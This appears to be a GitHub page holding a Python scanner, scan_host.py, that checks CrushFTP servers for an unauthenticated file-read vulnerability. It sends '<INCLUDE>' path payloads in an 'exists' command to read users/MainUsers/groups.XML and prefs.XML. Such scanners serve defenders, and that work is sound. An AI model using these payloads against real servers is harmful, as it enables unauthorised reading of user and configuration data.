-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathscan_host.py
90 lines (68 loc) · 2.4 KB
/
scan_host.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python3
import requests
import sys
import argparse
class CrushClient(object):
def __init__(self, base_url="http://127.0.0.1:9090"):
self.base = base_url
self.token = ""
@property
def current_auth(self):
if len(self.token) < 4:
return ""
return self.token[-4:]
@property
def headers(self):
h = {}
if self.token:
h["Cookie"] = f"CrushAuth={self.token}; currentAuth={self.current_auth}"
h["user_ip"] = "127.0.0.1"
return h
def get(self, subdir):
r = requests.get(self.base + subdir, headers=self.headers)
return r
def post(self, subdir, data):
h = self.headers
if self.current_auth:
data["c2f"] = self.current_auth
r = requests.post(self.base + subdir, headers=h, data=data)
return r
def cmd(self, command, params={}):
d = {"command": command, "random": "0.34712915617878926"}
d.update(params)
r = self.post("/WebInterface/function/", d)
return r
def login(self, username, password):
r = self.cmd("login", {"username": username, "password": password})
c = r.cookies.get_dict()
if "CrushAuth" not in c:
raise ValueError("CrushAuth cookie not found (invalid credentials?)")
self.token = c["CrushAuth"]
def login_anonymous(self):
r = requests.get(self.base + "/WebInterface/")
c = r.cookies.get_dict()
if "CrushAuth" not in c:
raise ValueError("CrushAuth cookie not found (no anonymous access?)")
self.token = c["CrushAuth"]
def main():
parser = argparse.ArgumentParser(description="Scan a target for CrushFTP File Read vulnerability")
parser.add_argument("target", type=str, help="URL to target (example: http://127.0.0.1:9090)")
args = parser.parse_args()
c = CrushClient(args.target)
try:
c.login_anonymous()
except ValueError:
print("Not vulnerable")
return 0
r = c.cmd("exists", {"paths": "<INCLUDE>users/MainUsers/groups.XML</INCLUDE>"})
if "<groups" in r.text:
print("Vulnerable")
return 1
r = c.cmd("exists", {"paths": "<INCLUDE>prefs.XML</INCLUDE>"})
if "<server_prefs" in r.text:
print("Vulnerable")
return 1
print("Not vulnerable")
return 0
if __name__ == "__main__":
sys.exit(main() or 0)